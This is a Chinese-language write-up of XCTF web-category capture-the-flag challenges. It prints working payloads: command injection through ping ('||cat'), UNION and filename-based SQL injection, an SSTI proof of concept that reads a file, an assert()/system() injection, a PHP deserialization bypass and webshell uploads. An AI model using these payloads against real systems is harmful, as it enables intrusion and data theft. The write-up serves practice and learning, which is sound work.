攻防世界xctf之web
前言
过来看看。
正文
新手练习
view_source
就是看源码啦。
get_post
get:`?a=1’
post: `b=21
robots
robots.txt是一个协议,而不是一个命令。robots.txt是搜索引擎中访问网站的时候要查看的第一个文件。robots.txt文件告诉蜘蛛程序在服务器上什么文件是可以被查看的
打开robots.txt,有一个flag***.php,打开就行。
backup
做了之后忘记题是什么了,反正很简单。
cookie
F12查看网络参数,发现cookie:cookie.php,访问cookie.php,再次查看header,发现flag。
disable_button
有一个按钮,点击之后没有反应,查看源码,发现按钮要实现的功能是post提交一个值auth(好像是这个名字,忘了),使auth=flag
,post提交就可以了。
simple_js
一个前端验证,不管输入什么密码,都无法验证成功,看了源码,发现自己看不懂,只能看懂大概,正确的密码应该就是那段十六进制字符串,转成字符之后,变成了数字,应该是ascii码,再转字符,得到一个字符串,我以为这是密码,还需要提交才能得到flag,试了几次都不行,然后直接当做flag提交,就对了。
xff_referer
要求IP地址是123.123.123.123,直接bp抓包,在header中添加伪造X-Forwarded-For:123.123.123.123
,
go之后,要求document.getElementById("demo").innerHTML="必须来自https://www.google.com";
再在header中添加,referer:https://www.google.com
,即可得到flag。
weak_auth
随便输入一个用户名和密码,提示必须使用admin登录,用户名改成admin之后,报错是密码错误,然后出现一个check.php,查看源码之后,提示你需要一个字典,
直接bp抓包,然后,load一个密码字典爆破,即可。
webshell
直接菜刀连接一下getshell。
command_execution
命令执行,
ping 1.1.1.1
ping 1.1.1.1&&ls
,ls没有执行,&&应该是被过滤了,这里的ping -c 3:
判断操作系统类型,若是windows类型,执行ping ip命令;若是非windows类型,执行ping -c 3 ip 命令
ping 1.1.1.1||ls
,ls被执行了,||没有被过滤,
ping 1.1.1.1||ls /
,可以看到整个目录,
最后在home文件夹找到flag.txt
ping 1.1.1.1||cat /home/flag.txt
simple_php
直接给出了源码,get提交a和b,要求a=0,并且a不为空,php解析是碰到0e开头串时,会把它当做0,
要求b不是数字,如果b是数字,则exit(),而且要求b>1234,PHP在解析时,遇到类似11xxx的串,只会解析前面的数字,也就是说11xxx=11,
所以payload:a=0e&b=1333x
高手进阶
Training-WWW-Robots
又是robots,查看robots.txt之后,发现有一个fl0g.php,打开得到flag
unserialize3
源码
1 | class xctf{ |
get提交code,code的值是serialize()序列化后的串,
1 |
|
结果是:O:4:"xctf":1:{s:4:"flag";s:3:"111";}
提交之后,后台会进行会序列化,此时就会自动执行__wakeup()函数,然后输出bad request
所以,我们要绕过这个__wakeup()函数,参考文章
在这个序列化后的串中:O:4:”xctf”:1:{s:4:”flag”;s:3:”111”;}
里面有个数字 1 ,这个 1 代表的是对象的属性个数,这里只有$flag这一个属性。
而__wakeup()函数漏洞就是与对象的属性个数有关,如果序列化后的字符串中表示属性个数的数字与真实属性个数一致,那么就调用__wakeup()函数,如果该数字大于真实属性个数,就会绕过__wakeup()函数。
__construct()
__实例化对象时被调用。__construct()是构造函数,同时当函数名和类名相同的时候,也是构造函数,构造函数有两种表达方式。
但是当__construct和以类名为函数名的函数同时存在的时候,__construct将被调用,而以类名作为函数名的构造函数不被调用。
所以,payload: `?code=O:4:”xctf”:2:{s:4:”flag”;s:3:”111”;}
hacker news
猜测是一道注入题,输入1正常回显,输入1'
不能正常回显,应该是单引号闭合,
经测试,有3列
爆库,payload:-1' union select 1,2,database()#
爆表,-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='news'#
爆列,-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='secret_table'#
爆内容,-1' union select 1,2,fl4g from secret_table#
upload
先注册一个账户,然后点击login,输入账号密码登录,然后就有上传界面了。
图片的文件名可以造成注入
1 | selselectect` `frfromom |
可以绕过对select,from
的过滤
构造payload
查询数据库:
1 | sql '+(selselectect CONV(substr(hex(dAtaBase()),1,12),16,10))+'.jpg |
返回:
sql 131277325825392 => web_up
1 | sql '+(selselectect CONV(substr(hex(dAtaBase()),13,12),16,10))+'.jpg |
返回:
sql 1819238756 => load
拼接起来得知数据库名为:web_upload
然后查表:
1 | sql '+(seleselectct+CONV(substr(hex((selselectect TABLE_NAME frfromom information_schema.TABLES where TABLE_SCHEMA = 'web_upload' limit 1,1)),1,12),16,10))+'.jpg |
返回:
sql 114784820031327 => hello_
1 | sql '+(seleselectct+CONV(substr(hex((selselectect TABLE_NAME frfromom information_schema.TABLES where TABLE_SCHEMA = 'web_upload' limit 1,1)),13,12),16,10))+'.jpg |
返回:
sql 112615676665705 => flag_i
1 | sql '+(seleselectct+CONV(substr(hex((selselectect TABLE_NAME frfromom information_schema.TABLES where TABLE_SCHEMA = 'web_upload' limit 1,1)),25,12),16,10))+'.jpg |
返回:
sql 126853610566245 => s_here
拼接起来得知存放flag的表名为: hello_flag_is_here
然后查这个表里有什么字段:
1 | sql '+(seleselectct+CONV(substr(hex((seselectlect COLUMN_NAME frfromom information_schema.COLUMNS where TABLE_NAME = 'hello_flag_is_here' limit 0,1)),1,12),16,10))+'.jpg |
返回:
sql 115858377367398 => i_am_f
1 | sql '+(seleselectct+CONV(substr(hex((seselectlect COLUMN_NAME frfromom information_schema.COLUMNS where TABLE_NAME = 'hello_flag_is_here' limit 0,1)),13,12),16,10))+'.jpg |
返回:
sql 7102823=> lag
拼接起来得知存放flag的字段是:i_am_flag
然后查询flag:
1 | sql '+(seleselectct+CONV(substr(hex((selselectect i_am_flag frfromom hello_flag_is_here limit 0,1)),1,12),16,10))+'.jpg |
返回:
sql 36427215695199 => !!@m
1 | sql '+(seleselectct+CONV(substr(hex((selselectect i_am_flag frfromom hello_flag_is_here limit 0,1)),13,12),16,10))+'.jpg |
返回:
sql 92806431727430=> Th.e_F
1 | sql '+(seleselectct+CONV(substr(hex((selselectect i_am_flag frfromom hello_flag_is_here limit 0,1)),25,12),16,10))+'.jpg |
返回:
1 | sql 560750951=> !lag |
拼起来之后得到flag: !!_@m_Th.e_F!lag
Confusion1
- 首先浏览网站,在导航栏上只有index.php login.php register.php三个页面,打开导航栏上的login.php和register.php,发现是404页面
- 这个404页面乍一看和普通页面没什么不同,但是查看源码可以发现提示了flag的路径,所以题目意思就是要去读文件
- 但是login和register功能都没有实现,也就是说没有任何接受用户输入的地方
- 在index.php页面中有一张图片,图片的内容是一条大蟒蛇缠住了一只大象,很明显这只大象就是PHP的那只吉祥物,大蟒蛇也意味着Python了,所以这到题目应该和Python有关,但是还是不知道哪里可以接受到用户的输入
- 仔细翻阅网站,可以发现只有两处可被用户控制的地方,就是404页面和403页面中输出url的地方
- 首先试试这里有没有XSS,在404页面当我们输入XSS的payload时会弹出一个Nope,说明对某些字符进行了过滤,所以很问题明显就出在404页面
- 既然发现了404页面有问题,但是如果实在想不到SSTI的话那也没办法往下做了
- 测试5*5,发现404页面输出url的地方却输出了25,于是照着SSTI的思路往下做
- 后端其实用了Python来模拟PHP
- 我在黑名单中禁用了一些字符串,就不一一测试了,这里直接给出部分关键黑名单
1 | ` black_list = [ 'write', 'class', 'mro', 'read', '<', '>', '|', 'join' 'os', 'sys', 'pop', 'del', 'rm', 'eval', 'exec', 'ls', 'cat', ';', '&&', 'catch_warnings', 'func_globals', 'pickle', 'import', 'subprocess', 'commands', 'input', 'execfile', 'reload', 'compile', 'execfile', 'kill', 'func_code' ] |
关键字过滤可以使用request.args绕过
- POC:
http://xx.xx.xx.xx:xxxx/[request.args.a][request.args.b][2][request.args.c]()[40]('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt')[request.args.d]()?a=__class__&b=__mro__&c=__subclasses__&d=read
ics-06
一脸懵逼。。。
一顿乱点,终于在报表中心发现了问题
然后,试了几个数字,发现不管输入id等于几都返回一样的界面,问题在哪呢?
尝试访问一下所有界面,写个脚本爆破一下,发现id=2333时弹出flag
1 | import requests |
这个flag的关键字想不到啊。。。
upload
上传jpg,成功上传,返回了文件的路径
但是文件名变成了1558088360.eee.jpg,bp抓包操作一波
把文件名改成ee.php,成功上传,但是文件名是15556235.eee.php,看来是不管你上传什么,他都在你文件名的前面加一部分,所以,只需要把文件名改成php就可以了
上传成功,是php文件,而且有路径,接下来菜刀连接,找到flag.php,即可得到flag
PHP2
上来只有一句话,Can you anthenticate to this website?
,尝试了改IP不行之后,扫描一下网站后台,发现index.phps,访问之后,拿到源码
1 |
|
id===admin时,输出not allowed
urldecode(id)==admin,得到flag
但是当执行if($_GET[id] == “admin”)时,id就会被url解码一次,所以这题考的是url二次编码绕过
payload:?id=%25%36%31%25%36%34%25%36%44%25%36%39%25%36%45
(这一串是admin的url二次编码,其实转一个字符就行)
mfw
拿到题目是一个网站,查看源码
发现一个page=flag,访问之后没啥用
提示信息里提到git,想到**.git**泄露,扫描一下网站
确实存在**.git**泄露,用git下载工具在下载来
但是flag.php的内容是
1 |
|
感觉没什么用啊,
但是查看下载的文件的源码的过程中,发现index.php的源码中有这样的代码
1 |
|
这里看到了assert()函数,让我们想到了命令执行,而且page的参数没有进行任何过滤
strpos()是匹配两个字符串的,具体可以百度。
那我们就可以利用assert命令执行来查看flag的内容了payload:?page=1','2') === false and system('cat templates/flag.php') and strpos('templates/flag
拼接后完整的语句是
assert(“strpos(‘templates/1’, ‘2’) === false and system(‘cat templates/flag.php’) and strpos(‘templates/flag.php’) or die(“Detected hacking attempt!”);
strpos(‘templates/1’, ‘2’) === false结果为真,and连接**system(‘cat templates/flag.php’)**会执行,然后再执行strpos(‘templates/flag.php’),
个人理解,不对的话请指正。
Lottery
上来先测试了一下,注册用户,购买彩票,拿到足够的钱,购买flag。大概就这样,发现buy.php页面,买完之后还是buy.php,没有页面的跳转,这让我有点搞不懂。
所以扫了一下网站,发现有robots.txt,访问发现
似乎也是Git泄露问题,下载一下试试,拿到很多文件
发现关键代码在api.php里面
1 |
|
阅读源码我们发现,
requests是json格式的
比较彩票数字与用户数字采用==弱比较
而且是一位一位的比较的
通过以上三点,我们就可以操作一下了,
由于使用的是PHP 弱类型比较,TRUE
,1
,"1"
都相等相等,即true与字符串和数字都是弱相等的。而且,由于 json 支持布尔型数据,那么就可以构造一串数组[true,true,true,true,true,true,true]传入了,
bp抓包,然后构造数组,即可得到5000000,再来一次就是10000000,可以购买flag了
FlatScience
一通乱点,要么是转到PDF文件,要么是几个页面来回跳转,无奈,,
看看robots.txt,发现有login.php和admin.php,两个登录界面